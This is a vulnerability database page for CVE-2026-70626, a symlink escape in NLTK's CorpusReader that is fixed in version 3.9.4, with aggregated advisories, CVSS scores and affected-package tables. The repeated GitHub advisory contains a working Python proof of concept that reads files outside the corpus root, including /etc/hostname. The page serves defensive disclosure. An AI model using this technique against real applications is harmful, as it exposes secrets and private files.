CVE-2026-70626
NLTK before 3.9.4 Symlink Escape via CorpusReader
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.6
NLTK before 3.9.4 Symlink Escape via CorpusReader
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
CVE-2026-70626- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-64314
8.6
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
EUVD-2026-64314- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8h9m-22mv-qv5r
8.6
Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
GHSA-8h9m-22mv-qv5r- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r6gq-whwq-mvg9
8.6
NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
Summary
nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.
Details
The vulnerable flow is:
-
CorpusReader.open()blocks absolute paths and.., then callsself._root.join(file).open()
-
FileSystemPathPointer.join()joins the requested file ID and checks whether the resulting path still appears to remain under the configured root
The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
CorpusReader.open()rejects:- absolute paths
..path traversal
FileSystemPathPointer.join()computes:joined = os.path.normpath(os.path.join(self._path, fileid))root = os.path.normpath(self._path)
- It allows the access if
joinedstarts withroot
This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt
JOINED still appears to be inside the root, but REALPATH is outside it.
This is distinct from simple ../ traversal:
- the file ID is not absolute
- the file ID does not contain
.. - the escape only happens after filesystem resolution of a symlink under the allowed root
PoC
Reproduced in an isolated Docker sandbox using the local nltk clone.
Minimal Python PoC:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")
with open(outside_file, "w") as f:
f.write("secret-data")
os.symlink(outside_dir, os.path.join(root, "link"))
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
print(f.read())
Observed result:
secret-data
Docker re-test output:
ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
Additional impact validation using a system file:
ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
Impact
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
- applications that rely on NLTK corpus readers as a trust boundary for file access
- any deployment where an attacker can place or influence files inside the allowed corpus root
Practical impact includes disclosure of:
- application secrets stored on disk
- local configuration files
- private datasets
- process-exposed files such as
/proc/self/environ - system files readable by the running user
The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
- Record
GHSA-r6gq-whwq-mvg9- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
NVD
8.6
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
CVE-2026-70626- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
8.6
NLTK before 3.9.4 Symlink Escape via CorpusReader
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
CVE-2026-70626- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-59
- Updated
- 2026-11-02
Show 5 moreShow less
OSVDEBIAN-CVE-2026-70626
8.6
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
DEBIAN-CVE-2026-70626- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-8h9m-22mv-qv5r
8.6
Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
GHSA-8h9m-22mv-qv5r- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVGHSA-r6gq-whwq-mvg9
8.6
NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
Summary
nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.
Details
The vulnerable flow is:
-
CorpusReader.open()blocks absolute paths and.., then callsself._root.join(file).open()
-
FileSystemPathPointer.join()joins the requested file ID and checks whether the resulting path still appears to remain under the configured root
The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
CorpusReader.open()rejects:- absolute paths
..path traversal
FileSystemPathPointer.join()computes:joined = os.path.normpath(os.path.join(self._path, fileid))root = os.path.normpath(self._path)
- It allows the access if
joinedstarts withroot
This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt
JOINED still appears to be inside the root, but REALPATH is outside it.
This is distinct from simple ../ traversal:
- the file ID is not absolute
- the file ID does not contain
.. - the escape only happens after filesystem resolution of a symlink under the allowed root
PoC
Reproduced in an isolated Docker sandbox using the local nltk clone.
Minimal Python PoC:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")
with open(outside_file, "w") as f:
f.write("secret-data")
os.symlink(outside_dir, os.path.join(root, "link"))
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
print(f.read())
Observed result:
secret-data
Docker re-test output:
ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
Additional impact validation using a system file:
ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
Impact
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
- applications that rely on NLTK corpus readers as a trust boundary for file access
- any deployment where an attacker can place or influence files inside the allowed corpus root
Practical impact includes disclosure of:
- application secrets stored on disk
- local configuration files
- private datasets
- process-exposed files such as
/proc/self/environ - system files readable by the running user
The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
- Record
GHSA-r6gq-whwq-mvg9- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVPYSEC-2026-3732
8.6
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
PYSEC-2026-3732- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-70626
8.6
NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.
- Record
UBUNTU-CVE-2026-70626- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nltkPyPI |
through 3.9.3 | 3.9.4 |
nltkDebian:12 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less3.9.1-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:13 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:14 |
before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1 |
3.10.0-1 |
nltkPyPI |
before 3.9.4, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1 |
3.9.4 |
nltkUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6 |
None known |
nltkUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4 |
None known |
nltkUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:26.10 |
All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1 |
None known |
nltkUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, published, references | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-70626 is a high vulnerability (CVSS 8.6) in Nltk, published August 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in nltk 3.9.4.
References
github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9
vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader
nvd.nist.gov/vuln/detail/CVE-2026-70626
github.com/advisories/GHSA-8h9m-22mv-qv5r
github.com/nltk/nltk/pull/3522
github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48
Show 12 moreShow less
github.com/nltk/nltk/releases/tag/3.9.4
github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml
github.com/advisories/GHSA-r6gq-whwq-mvg9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/70xxx/CVE-2026-70626.json
security-tracker.debian.org/tracker/CVE-2026-70626
github.com/nltk/nltk
ubuntu.com/security/CVE-2026-70626
cve.org/CVERecord?id=CVE-2026-70626
github.com/nltk/nltk/security/advisories/ghsa-r6gq-whwq-mvg9
security-tracker.debian.org/tracker/cve-2026-70626
github.com/cveproject/cvelistv5/tree/main/cves/2026/70xxx/cve-2026-70626.json
nvd.nist.gov/vuln/detail/cve-2026-70626
Left out here: 14 versions. The JSON record has them.